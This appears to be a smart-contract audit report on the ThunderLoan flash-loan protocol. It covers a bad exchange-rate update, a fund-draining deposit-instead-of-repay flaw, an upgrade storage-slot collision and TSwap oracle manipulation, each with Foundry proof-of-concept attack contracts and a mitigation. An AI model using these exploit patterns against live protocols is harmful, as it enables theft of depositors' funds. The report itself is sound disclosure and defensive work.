[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks the redemption and incorrectly sets the exchange rates.

Introduction In the Thunderloan system , the `exchangeRate` is responsible for calculating the exchange rate between assetToken and underlying tokens. In a way it is responsible to keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate without collecting any fees. This update should be removed.

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>        uint256 calculatedFee = getCalculatedFee(token, amount);
@>        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed token is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or way less than deserved.

Proof of concept

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible for LP to redeem.

▶ Proof of codes

Place the following into `ThunderLoan.t.sol`.

```
 function testRedeemAfterLoan() external setAllowedToken hasDeposits {
 uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

uint256 amountToRedeem = type(uint256).max ;
vm.startPrank(liquidityProvider) ;
thunderLoan.redeem(tokenA , amountToRedeem) ;
    }
```

Recommended Mitigation Removed the incorrectly updated exchange rate lines from `deposit`.

```diff


   function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-         uint256 calculatedFee = getCalculatedFee(token, amount);
-         assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] All the funds can be stolen if the flash loan is returned using deposit()

Description : The flashloan() performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using token.balanceOf(address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit() instead of repay(). This action allows the attacker to mint AssetToken and subsequently redeem it using redeem(). What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact : An attacker can acquire a flash loan and deposit funds directly into the contract using the deposit(), enabling stealing all the funds. All the funds of the AssetContract can be stolen.

Proof of concept : Paste the following on `ThunderLoanTest.t.sol`

▶ Code

```
function testUseDepositInsteadOfRepayToStealFunds() external setAllowedToken
hasDeposits {
 vm.startPrank(user) ;
 uint256 amountToBorrow = 50e18 ;
 uint256 fee = thunderLoan.getCalculatedFee(tokenA , amountToBorrow) ;
DepositOverRepay dor = new DepositOverRepay(address(thunderLoan)) ;
tokenA.mint(address(dor),fee) ;
thunderLoan.flashloan(address(dor) , tokenA , amountToBorrow , "") ;
dor.redeemMoney() ;
vm.stopPrank() ;

assert(tokenA.balanceOf(address(dor)) > 50e18+fee) ;
 }



 contract DepositOverRepay is IFlashLoanReceiver {
  ThunderLoan thunderLoan ;
  AssetToken assetToken ;
IERC20 s_token ;

    constructor(address _thunderLoan){
thunderLoan = ThunderLoan(_thunderLoan);
    }

     function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool){
            s_token =  IERC20(token) ;
            assetToken = thunderLoan.getAssetFromToken(IERC20(token)) ;
            IERC20(token).approve(address(thunderLoan) , amount+fee) ;
            thunderLoan.deposit(IERC20(token) , amount+fee) ;

return true ;
}

function redeemMoney() external {
uint256 amount = assetToken.balanceOf(address(this)) ;
thunderLoan.redeem(s_token , amount) ;
}
 }
```

Recommended Mitigation : Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashloanFee` and `ThunderLoan::s_currentlyFlashLoaning`.

Description : `ThunderLoan.sol` has two variables in the following orders :

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has different order.

```
    uint256 private s_flashLoanFee ;
    uint256 public constant FEE_PRECISION = 1e18 ;
```

Thunderloan.sol at slot 1,2 and 3 holds s_feePrecision, s_flashLoanFee and s_currentlyFlashLoaning, respectively, but the ThunderLoanUpgraded at slot 1 and 2 holds s_flashLoanFee, s_currentlyFlashLoaning respectively. the s_feePrecision from the thunderloan.sol was changed to a constant variable which will no longer be assessed from the state variable. This will cause the location at which the upgraded version will be pointing to for some significant state variables like s_flashLoanFee to be wrong because s_flashLoanFee is now pointing to the slot of the s_feePrecision in the thunderloan.sol and when this fee is used to compute the fee for flashloan it will return a fee amount greater than the intention of the developer. s_currentlyFlashLoaning might not really be affected as it is back to default when a flashloan is completed but still to be noted that the value at that slot can be cleared to be on a safer side.

Impact :

1. Fee is miscalculated for flashloan
2. users pay same amount of what they borrowed as fee

Proof of concept :

```
function testUpgradeBreaks() external {
    uint256 feeBeforeUpgrade = thunderLoan.getFee() ;

    vm.startPrank(thunderLoan.owner()) ;
    ThunderLoanUpgraded upgraded= new ThunderLoanUpgraded()  ;
    thunderLoan.upgradeToAndCall(address(upgraded) , "");
    uint256 feeAfterUpgrade = thunderLoan.getFee() ;
    vm.stopPrank() ;

    console2.log("Fee Before :" , feeBeforeUpgrade);
    console2.log("Fee After :" , feeAfterUpgrade);

 assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

Paste the above code in `ThunderLoanTest.t.sol`.

Recommended Mitigation : If you must remove the storage variable, leave it as a blank as to not mess up the storage slots.

```diff
- uint256 private s_flashLoanFee;
- uint256 public constant FEE_PRECISION = 1e18;

+    uint256 private blank_space ;
+    uint256 private s_flashLoanFee ;
+    uint256 public constant FEE_PRECISION = 1e18 ;
```

Medium

[M-1] Using TSwap as a price oracle leads to price and oracle manipulation attacks.

Description : The TSwap protocol is a constant product formula based in AMM. The price of token is determined by how many reserves are on either side of a pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of token in the same transaction, essentially ignoring the protocol fees.

Impact : Liquidity providers will drastically reduced fee for providing liquidity.

Proof of Concept :

The following all happens in 1 transaction.

1. User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:
    1. User sells 1000 tokenA, tanking the price.
2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.
    1. Due to the fact that the way ThunderLoan calculates price based on the TSwapPool, this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

3. The user then repays the first flash loan, and then repays the second flash loan.

▶ Code

```
 function testPriceOracleManipulation() external{
        thunderLoan = new ThunderLoan() ;
    ERC20Mock newTokenA = new ERC20Mock();
       proxy = new ERC1967Proxy(address(thunderLoan) , "");
```

```
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)) ;
        address tswapPool = pf.createPool(address(tokenA)) ;
        thunderLoan = ThunderLoan(address(proxy)) ;
        thunderLoan.initialize(address(pf)) ;

        vm.startPrank(liquidityProvider) ;
        tokenA.mint(liquidityProvider , 100e18) ;
        tokenA.approve(address(tswapPool) , 100e18) ;
        weth.mint(liquidityProvider , 100e18) ;
        weth.approve(address(tswapPool) , 100e18) ;
        BuffMockTSwap(tswapPool).deposit(100e18,100e18,100e18,block.timestamp) ;
vm.stopPrank();

vm.prank(thunderLoan.owner()) ;
thunderLoan.setAllowedToken(tokenA , true) ;


vm.startPrank(liquidityProvider) ;
tokenA.mint(liquidityProvider , 1000e18);
tokenA.approve(address(thunderLoan) , 1000e18);
thunderLoan.deposit(tokenA , 100e18) ;
vm.stopPrank() ;

uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA , 100e18) ;
console2.log("Normal Fee Cost Is : ", normalFeeCost);
// 0.296147410319118389

uint256 amountToBorrow = 50e18 ;
MaliciousFlashLoanReceiver flr = new
MaliciousFlashLoanReceiver(address(tswapPool),address(thunderLoan),address(thunder
Loan.getAssetFromToken(tokenA))) ;

vm.startPrank(user);
tokenA.mint(address(flr) , 100e18) ;
thunderLoan.flashloan(address(flr) , tokenA, amountToBorrow,"") ;
vm.stopPrank();

uint256 attackedFee = flr.fee1() + flr.fee2() ;
console2.log("attackedFee : ", attackedFee) ;
//0.214167600932190305
assert(attackedFee < normalFeeCost) ;
 }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
  ThunderLoan thunderLoan ;
  address repayAddress ;
  BuffMockTSwap tswapPool ;
bool attacked ;
uint256 public fee1 ;
uint256 public fee2 ;

    constructor(address _tswappool , address _thunderLoan, address _repayAddress){
tswapPool = BuffMockTSwap(_tswappool);
thunderLoan = ThunderLoan(_thunderLoan);
repayAddress = _repayAddress ;
    }

     function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool){
if(!attacked){
fee1 = fee ;
attacked = true ;

uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18 , 100e18, 100e18)
;
IERC20(token).approve(address(tswapPool) , 50e18) ;
tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought ,
block.timestamp) ;

thunderLoan.flashloan(address(this) , IERC20(token), amount , "");

// IERC20(token).approve(address(thunderLoan), amount+fee);
// thunderLoan.repay(IERC20(token) , amount+fee);

IERC20(token).transfer(address(repayAddress) , amount+fee) ;

}else{

fee2 = fee ;

// IERC20(token).approve(address(thunderLoan), amount+fee);
// thunderLoan.repay(IERC20(token) , amount+fee);
IERC20(token).transfer(address(repayAddress) , amount+fee) ;

}
return true ;
        }
}
```

Recommended Mitigation : Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.